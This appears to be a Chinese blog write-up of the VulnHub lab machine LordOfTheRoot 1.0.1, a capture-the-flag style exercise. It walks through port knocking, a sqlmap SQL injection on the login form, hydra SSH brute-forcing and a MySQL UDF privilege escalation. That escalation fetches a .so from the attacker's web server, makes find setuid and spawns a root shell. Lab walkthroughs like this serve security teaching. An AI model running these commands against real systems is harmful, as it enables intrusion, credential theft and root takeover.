LordOfTheRoot_1.0.1靶机入侵

LordOfTheRoot_1.0.1靶机入侵

1、环境搭建

下载地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

​ 下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。

2、信息收集

  • 主机发现

    使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.110.1/24
    LordOfTheRoot_1.0.1靶机入侵_第1张图片
    192.168.110.137,为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.110.1/24

  • 端口扫描

    使用nmap扫描端口,并做服务识别和深度扫描(加-A参数):nmap -p- -A 192.168.110.138
    LordOfTheRoot_1.0.1靶机入侵_第2张图片

    扫描结果显示只开启了22端口ssh服务

3、漏洞探测

  • 端口碰撞

    尝试登录ssh服务
    LordOfTheRoot_1.0.1靶机入侵_第3张图片
    发现提示 knock Easy as 1,2,3 意思是敲击三次 端口碰撞

    端口碰撞原理

    端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。
    一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
    端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。
    端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。
    当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
    由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
    

    要求

    端口碰撞要求  知道端口碰撞的序列 否则暴力破解几率很小
    Easy as 1,2,3 碰撞序列为1 ,2,3
    

    使用knock碰撞(敲门),按指定顺序碰撞指定的端口

    knock 192.168.110.138 1 2 3 -v
    

    也可以用nmap

    for x in 1 2 3;do nmap -Pn --max-retries 0 -p $x 192.168.110.138;done
    

    碰撞后再次扫描端口(那台电脑碰撞的就用哪台扫描)
    LordOfTheRoot_1.0.1靶机入侵_第4张图片
    发现还开放了1337端口
    LordOfTheRoot_1.0.1靶机入侵_第5张图片

  • 目录扫描

    使用dirsearch对网站扫描
    LordOfTheRoot_1.0.1靶机入侵_第6张图片
    在404页面的源码中发现了一串编码
    LordOfTheRoot_1.0.1靶机入侵_第7张图片
    解码得到一个目录
    LordOfTheRoot_1.0.1靶机入侵_第8张图片
    访问发现是一个登录页面
    LordOfTheRoot_1.0.1靶机入侵_第9张图片

  • SQL注入

    测试发现页面存在SQL注入,查看mysql当前登录用户,是否有DBA权限,以及当前数据库名

    sqlmap -u http://192.168.110.138:1337/978345210/index.php --data="password=admin&submit=+Login+&username=admin" -p password --current-user --current-db --is-dba
    

LordOfTheRoot_1.0.1靶机入侵_第10张图片
注入得到账号密码(延时注入过程有点久·······)

得到5个账号密码,试着登录一下
LordOfTheRoot_1.0.1靶机入侵_第11张图片
网站的登录后没什么有用信息

  • ssh爆破

    利用得到的账号和密码去爆破ssh服务,这儿使用hydra

    用注入得到的账号密码做成两个字典
    LordOfTheRoot_1.0.1靶机入侵_第12张图片
    找到一个可登录的账号smeagol /MyPreciousR00t
    在这里插入图片描述
    成功登录
    LordOfTheRoot_1.0.1靶机入侵_第13张图片

4、权限提升

这里可以使用内核提权,我这使用udf提权

先想办法找到mysql中root用户的账号和密码

在网站登录页源码中找到了:root/darkshadow

首先看一下是否满足写入条件:
LordOfTheRoot_1.0.1靶机入侵_第14张图片
满足udf条件

查看插件目录:

show variables like '%plugin%';

LordOfTheRoot_1.0.1靶机入侵_第15张图片

查看是否可以远程登录 若可以远程登陆可以用msf提权 
use mysql;
select user,host from user;

LordOfTheRoot_1.0.1靶机入侵_第16张图片
并不能

可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。

或者udf exploit提权那个的函数执行系统命令
do_system 

本次使用lib_mysqludf_sys

Linux系统中使用.so后缀的,sqlmap中的这两个文件经过了编码,不能直接使用。这里用的是msf里面的
LordOfTheRoot_1.0.1靶机入侵_第17张图片
python开启http服务,让靶机下载提权.so文件

python2语法:
python -m SimpleHTTPServer 8080

python3语法:
python -m http.server 8080

靶机进入到/tmp目录wget下载udf.so文件
在这里插入图片描述

mysql -uroot -pdarkshadow  //进入mysql
use mysql    //切换到mysql数据库
create table udf (line blob); //创建表,用于存放本地传来的udf文件的内容。

insert into udf values(load_file('/tmp/udf.so')); //在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; 

//将udf文件内容传入新建的udf.so文件中,路径根据自己的@@basedir修改

create function sys_eval returns string soname 'udf.so'; 创建自定义函数

select * from mysql.func; //查看函数

select sys_eval('chmod u+s /usr/bin/find');
//调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令(这里想象空间很大,可以把当前用户加入管理组,也可以是其他命令等等)

find / -exec '/bin/sh' \;  //执行提权

LordOfTheRoot_1.0.1靶机入侵_第18张图片
LordOfTheRoot_1.0.1靶机入侵_第19张图片
成功拿到flag

在这里插入图片描述

你可能感兴趣的:(靶机笔记,网络安全)